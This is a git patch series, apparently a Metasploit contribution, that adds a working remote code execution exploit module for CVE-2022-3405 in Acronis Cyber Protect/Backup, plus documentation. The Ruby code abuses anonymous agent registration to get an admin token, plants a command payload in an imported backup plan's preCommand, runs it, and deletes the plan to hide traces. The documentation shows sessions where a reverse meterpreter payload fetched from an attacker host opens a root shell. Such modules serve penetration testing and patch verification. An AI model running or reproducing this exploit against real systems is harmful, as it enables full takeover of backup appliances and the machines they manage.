From 23e688983981f77dbe3ab3c53da8a2e96af12c38 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 11:36:32 +0000 Subject: [PATCH 01/10] init commit module --- ..._cyber_protect_unauth_rce_cve_2022_3405.rb | 613 ++++++++++++++++++ 1 file changed, 613 insertions(+) create mode 100644 modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb new file mode 100644 index 000000000000..aa3531b3bc78 --- /dev/null +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -0,0 +1,613 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Acronis Cyber Protect/Backup remote code execution', + 'Description' => %q{ + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous + registration of new backup/protection agents on new endpoints. This API endpoint also + generates bearer tokens which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve a + bearer token that provides admin access to the available functions in the web console. + + The web console contains multiple possibilities to execute arbitrary commands on both the + agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation + job on the agent of the appliance). These options can easily be set with the provided bearer + token, which leads to a complete compromise of all agents and the appliance itself. + + You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` + to collect target info for exploitation in this module. Or just run this module standalone and + it will try to exploit the first online target matching your target setting set at the module. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sandro Tolksdorf of usd AG.' # discovery + ], + 'References' => [ + ['CVE', '2022-3405'], + ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], + ['URL', 'https://attackerkb.com/topics/xxxx/cve-2022-3405'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'windows'], + 'Privileged' => true, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Windows Command', + { + 'Platform' => ['windows'], + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-11-08', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 9877 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), + OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']) + ]) + end + + # return first access_token or nil if not successful + def get_access_token1 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'password', + 'username' => nil, + 'password' => nil + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # returns the client_secret if successful otherwise nil + def dummy_agent_registration(client_id) + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + post_data = { + client_id: client_id.to_s, + data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, + tenant_id: nil, + token_endpoint_auth_method: 'client_secret_basic', + type: 'agent' + }.to_json + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token1}" + }, + 'data' => post_data.to_s + }) + return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') + + # parse json response and return client_secret + res_json = res.get_json_document + return if res_json.blank? + + res_json['client_secret'] + end + + # return second access_token or nil if not successful + def get_access_token2(client_id, client_secret) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'client_credentials', + 'client_id' => client_id.to_s, + 'client_secret' => client_secret.to_s + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # return all configured items in json format or return nil if not successful + def get_machine_info + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + }, + 'vars_get' => { + 'embed' => 'details' + } + }) + return unless res&.code == 200 + return unless res.body.include?('items') || res.body.include?('data') + + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json + end + + # return version information or nil if not successful + def get_version_info + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + } + }) + return unless res&.code == 200 + return unless res.body.include?('backendVersion') + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json['backendVersion'] + end + + # return true if the acronis protect/backup api service is running or false if not found + def acronis_cyber_service_running? + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return false unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + true + end + + # create and import backup plan data with payload + # returns nil if not successful + def create_and_import_backup_plan(hostid, parentid, key, payload) + id = SecureRandom.uuid + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + + # we need to split the payload in the command and the arguments + # otherwise command execution does not work for windows targets + cmd_line = payload.split(' ', 2) + + case target['Type'] + when :unix_cmd + source_dir = '/mnt' + target_dir = '/tmp' + when :win_cmd + source_dir = 'c:/users/public' + target_dir = 'c:/windows/temp' + else + # probably macOS or other unix version + source_dir = '/mnt' + target_dir = '/tmp' + end + + plan_data = { + allowedActions: ['rename', 'revoke', 'runNow'], + allowedBackupTypes: ['full', 'incremental'], + backupType: 'files', + bootableMediaPlan: false, + editable: true, + enabled: true, + id: id.to_s, + locations: { data: [{ displayName: target_dir.to_s, id: "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"#{target_dir}\"]]", type: 'local_folder' }] }, + name: name.to_s, + options: { + backupOptions: { + prePostCommands: { + postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + preCommands: { + command: cmd_line[0].to_s, + commandArguments: cmd_line[1].to_s, + continueOnCommandError: true, + waitCommandComplete: false, + workingDirectory: '' + }, + useDefaultCommands: false, + usePostCommands: false, + usePreCommands: true + }, + prePostDataCommands: { + postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + preCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + useDefaultCommands: true, + usePostCommands: false, + usePreCommands: false + }, + scheduling: { interval: { type: 'minutes', value: 30 }, type: 'distributeBackupTimeOptions' }, + simultaneousBackups: { simultaneousBackupsNumber: nil }, + snapshot: { + quiesce: true, + retryConfiguration: { + reattemptOnError: true, + reattemptTimeFrame: { type: 'minutes', value: 5 }, + reattemptsCount: 3, + silentMode: false + } + }, + tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: '' }, + taskExecutionWindow: {}, + taskFailureHandling: { periodBetweenRetryAttempts: { type: 'hours', value: 1 }, retryAttempts: 1, retryFailedTask: false }, + taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: 'hours', value: 1 }, waitUntilMet: true }, + validateBackup: false, + volumes: { + forceVssFullBackup: false, + useMultiVolumeSnapshot: true, + useNativeVssProvider: false, + useVolumeShadowService: true, + useVssFlags: ['definedRule'] + }, + vssFlags: { availableVssModes: ['auto', 'system'], enabled: true, value: 'auto', vssFullBackup: false }, + windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: 'warning', traceState: false }, + withHWSnapshot: false + }, + specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: 'centralizedFiles' }, type: '' } + }, + origin: 'centralized', + route: { + archiveSlicing: nil, + stages: [ + { + archiveName: '[Machine Name]-[Plan ID]-[Unique ID]A', + cleanUpIfNoSpace: false, + cleanup: { + time: [ + { backupSet: 'daily', period: { type: 'days', value: 7 } }, + { backupSet: 'weekly', period: { type: 'weeks', value: 4 } } + ], + type: 'cleanupByTime' + }, + destinationKind: 'local_folder', + locationScript: nil, + locationUri: target_dir.to_s, + locationUriType: 'local', + maintenanceWindow: nil, + postAction: { + convertToVMParameters: { + agentIds: [], + cpuCount: nil, + diskAllocationType: 'thick', + displayedName: nil, + enabled: false, + exactMemorySize: false, + infrastructureType: '', + memorySize: nil, + networkAdapters: [], + virtualMachineName: '', + virtualServerHost: nil, + virtualServerHostKey: '[["ItemType",""],["LocalID",""]]', + virtualServerStorage: '' + } + }, + rules: [ + { + afterBackup: true, + backupCountUpperLimit: 0, + backupSetIndex: 'daily', + backupUpperLimitSize: 0, + beforeBackup: false, + consolidateBackup: false, + deleteOlderThan: { type: 'days', value: 7 }, + deleteYongerThan: { type: 'days', value: 0 }, + onSchedule: false, + retentionSchedule: { + alarms: [], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'none', + unique: false, + waitActionType: 'run' + }, + stagingOperationType: 'justCleanup' + }, + { + afterBackup: true, + backupCountUpperLimit: 0, + backupSetIndex: 'weekly', + backupUpperLimitSize: 0, + beforeBackup: false, + consolidateBackup: false, + deleteOlderThan: { type: 'weeks', value: 4 }, + deleteYongerThan: { type: 'days', value: 0 }, + onSchedule: false, + retentionSchedule: { + alarms: [], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'none', + unique: false, + waitActionType: 'run' + }, + stagingOperationType: 'justCleanup' + } + ], + useProtectionPlanCredentials: true, + validationRules: nil + } + ] + }, + scheme: { + parameters: { + backupSchedule: { + kind: { dataType: 'binary', type: 'full' }, + schedule: { + alarms: [ + { + beginDate: { day: 0, month: 0, year: 0 }, + calendar: { days: 65, type: 'weekly', weekInterval: 0 }, + distribution: { enabled: false, interval: 0, method: 0 }, + endDate: { day: 0, month: 0, year: 0 }, + machineWake: false, + repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 }, + runLater: false, + skipOccurrences: 0, + startTime: { hour: 23, minute: 0, second: 0 }, + startTimeDelay: 0, + type: 'time', + utcBasedSettings: false + } + ], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'daily', + unique: false, + waitActionType: 'run' + } + }, + backupTypeRule: 'byScheme' + }, + schedule: { + daysOfWeek: ['monday', 'tuesday', 'wednesday', 'thursday', 'friday'], + effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } }, + machineWake: false, + preventFromSleeping: true, + runLater: false, + startAt: { hour: 23, minute: 0, second: 0 }, + type: 'daily' + }, + type: 'weekly_full_daily_inc' + }, + sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] }, + target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] }, + tenant: { id: parentid.to_s, locator: "/#{parentid}/", name: parentid.to_s, parentID: '' } + }.to_json + + form_data = Rex::MIME::Message.new + form_data.add_part(plan_data, 'application/json', nil, "form-data; name=\"planfile\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.json\"") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'import'), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + }, + 'data' => form_data.to_s, + 'vars_get' => { + 'CreateDraftOnError' => true + } + }) + return unless res&.code == 200 && res.body.include?('planId') && res.body.include?('importedPlans') + + # parse json response and return planId + res_json = res.get_json_document + return if res_json.blank? + + res_json.dig('data', 'importedPlans', 0, 'planId') + end + + # remove the backup plan on the target including the payload + # returns true if successful + def remove_backup_plan + post_data = { + planIds: [@planid.to_s] + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plans_operations', 'remove_plans'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + }, + 'data' => post_data.to_s + }) + return false unless res&.code == 200 + + true + end + + # execute the backup plan on the target including the payload + # returns true if successful + def execute_command(_opts = {}) + post_data = { + planId: @planid.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'run'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + }, + 'data' => post_data.to_s + }) + return false unless res&.code == 200 + + true + end + + def check + return Exploit::CheckCode::Detected if acronis_cyber_service_running? + + Exploit::CheckCode::Unknown('Can not determine if the Acronis Cyber Protect or Backup service is running.') + end + + def exploit + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("AT1: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("AT2: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info + fail_with(Failure::NotFound, 'Can not find any version information.') if version.nil? + release = version.match(/(.+)\.(\d+)/) + case release[1] + when '15.0' + print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + when '12.5' + print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + else + print_status("Acronis Cyber Protect/Backup #{version}") + end + + # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting + hostid = datastore['HOSTID'] + parentid = datastore['PARENTID'] + key = datastore['KEY'] + if hostid.blank? || parentid.blank? || key.blank? + print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.') + res_json = get_machine_info + fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? + + # find first online target matching the module target settings + res_json['data'].each do |item| + next unless item['type'] == 'machine' && (item['osType'] == 'linux' && target['Type'] == :unix_cmd) || (item['osType'] == 'windows' && target['Type'] == :win_cmd) && item['online'] + + print_status("Found online target matching your target setting #{target.name}.") + print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? + print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? + print_good("key: #{item['id']}") unless item['id'].nil? + print_status("type: #{item['type']}") unless item['type'].nil? + print_status("hostname: #{item['title']}") unless item['title'].nil? + print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? + print_status("OS: #{item['os']}") unless item['os'].nil? + print_status("ARCH: #{item['osType']}") unless item['osType'].nil? + print_status("ONLINE: #{item['online']}") unless item['online'].nil? + hostid = item['hostId'] + parentid = item['parentId'] + key = item['id'] + break + end + end + fail_with(Failure::NotFound, "No target availabe matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank? + + # create and import backup plan with payload + print_status("Import backup plan with payload for target with hostId: #{hostid}.") + @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded) + fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil? + + print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd, :win_cmd + execute_command + end + + # try to remove imported backup plan with payload to cover our tracks + if remove_backup_plan + print_good('Backup plan is successful removed.') + else + print_warning('Backup plan could not be removed. Try to clean it manually.') + end + end +end From 735695e45f9b7eaa42700ef8edc1900443f4a856 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 12:58:26 +0000 Subject: [PATCH 02/10] first release module --- .../acronis_cyber_protect_unauth_rce_cve_2022_3405.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index aa3531b3bc78..7202ff60555a 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -20,7 +20,7 @@ def initialize(info = {}) compute, storage and application resources. Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous - registration of new backup/protection agents on new endpoints. This API endpoint also + registration of new protect/backup agents on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions on the web console. This allows an attacker @@ -34,7 +34,8 @@ def initialize(info = {}) You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation in this module. Or just run this module standalone and - it will try to exploit the first online target matching your target setting set at the module. + it will try to exploit the first online endpoint matching your target and payload settings + configured at the module. Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. @@ -46,7 +47,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2022-3405'], ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], - ['URL', 'https://attackerkb.com/topics/xxxx/cve-2022-3405'] + ['URL', 'https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'windows'], From 82e0b346705775d92905c3b7b543032fecff2e6a Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 13:11:14 +0000 Subject: [PATCH 03/10] added documentation --- ..._cyber_protect_unauth_rce_cve_2022_3405.md | 348 ++++++++++++++++++ 1 file changed, 348 insertions(+) create mode 100644 documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md diff --git a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md new file mode 100644 index 000000000000..0c8275810d31 --- /dev/null +++ b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -0,0 +1,348 @@ +## Vulnerable Application +Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. +Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. +The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents +on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. +As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions +on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, +retrieve a bearer token that provides admin access to the available functions in the web console. + +The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) +and also the appliance (e.g., via a Validation job on the agent of the appliance). +These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance +itself. + +You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation +in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and +payload settings configured at the module. + +Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and +Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +The following releases were tested. + +**Acronis Cyber Protect 15 ISO appliances:** +* Acronis Cyber Protect 15 Build 28503 +* Acronis Cyber Protect 15 Build 27009 +* Acronis Cyber Protect 15 Build 26981 +* Acronis Cyber Protect 15 Build 26172 + +**Acronis Cyber Protect 12.5 ISO appliances:** +* Acronis Cyber Protect 12.5 Build 16428 +* Acronis Cyber Protect 12.5 Build 16386 +* Acronis Cyber Protect 12.5 Build 14330 +* Acronis Cyber Protect 12.5 Build 11010 + +## Installation steps to install the Acronis Cyber Protect/Backup appliance +* Install the virtualization engine VMware Fusion on your preferred platform. +* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). +* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). +* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. +* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address +* using the option `change installation settings`. +* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` +* via the `webui` via `http://your_ip:9877`. +* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. +* Login into the appliance via the `webui`. +* Follow the license instructions to apply your 30-day trial license. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405` +- [ ] `set rhosts ` +- [ ] `set lhost ` +- [ ] `exploit` +- [ ] you should get a `shell` or `meterpreter` session depending on your settings. + +## Options +These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance. +This information can be collected using the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +This information is not mandatory for the module to run successfully. +You can also run this module standalone and it will try to exploit the first online endpoint matching your target +and payload settings configured at the module. +### HOSTID +HostId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### KEY +Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### PARENTID +ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. + +## Scenarios +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info + + Name: Acronis Cyber Protect/Backup remote code execution + Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405 + Platform: Unix, Linux, Windows + Arch: cmd + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2022-11-08 + +Provided by: + h00die-gr3y + Sandro Tolksdorf of usd AG. + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Unix/Linux Command + 1 Windows Command + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + HOSTID no hostId value collected from recon module "auxiliary/gather/a + cronis_cyber_protect_machine_info_disclosure" + KEY no key value collected from recon module "auxiliary/gather/acro + nis_cyber_protect_machine_info_disclosure" + PARENTID no parentId value collected from recon module "auxiliary/gather + /acronis_cyber_protect_machine_info_disclosure" + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi + ng-metasploit/basics/using-metasploit.html + RPORT 9877 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup insta + nce + VHOST no HTTP server virtual host + +Payload information: + +Description: + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous + registration of new protect/backup agents on new endpoints. This API endpoint also + generates bearer tokens which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve a + bearer token that provides admin access to the available functions in the web console. + + The web console contains multiple possibilities to execute arbitrary commands on both the + agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation + job on the agent of the appliance). These options can easily be set with the provided bearer + token, which leads to a complete compromise of all agents and the appliance itself. + + You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` + to collect target info for exploitation in this module. Or just run this module standalone and + it will try to exploit the first online endpoint matching your target and payload settings + configured at the module. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-3405 + https://herolab.usd.de/security-advisories/usd-2022-0008/ + https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405 + + +View the full module info with the info -d command. +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +target => 0 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8 +FETCH_SRVHOST => 192.168.201.8 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp +FETCH_WRITABLE_DIR => /tmp +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] Acronis Cyber Protect/Backup 12.5.14330 - VULNERABLE +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023123539_default_192.168.201.6_acronis.cyber.pr_943568.bin +[*] Found online target matching your target setting Unix/Linux Command. +[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks +[*] type: machine +[*] hostname: AcronisAppliance-AC319 +[*] IP: 192.168.201.6 +[*] OS: GNU/Linux +[*] ARCH: linux +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83. +[*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp +[+] Backup plan is successful removed. +[*] Sending stage (3045380 bytes) to 192.168.201.6 +[*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.201.6 +OS : CentOS 7.4.1708 (Linux 3.10.0-693.11.6.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/var/lib/Acronis/mms +meterpreter > +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 +target => 1 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell +payload => 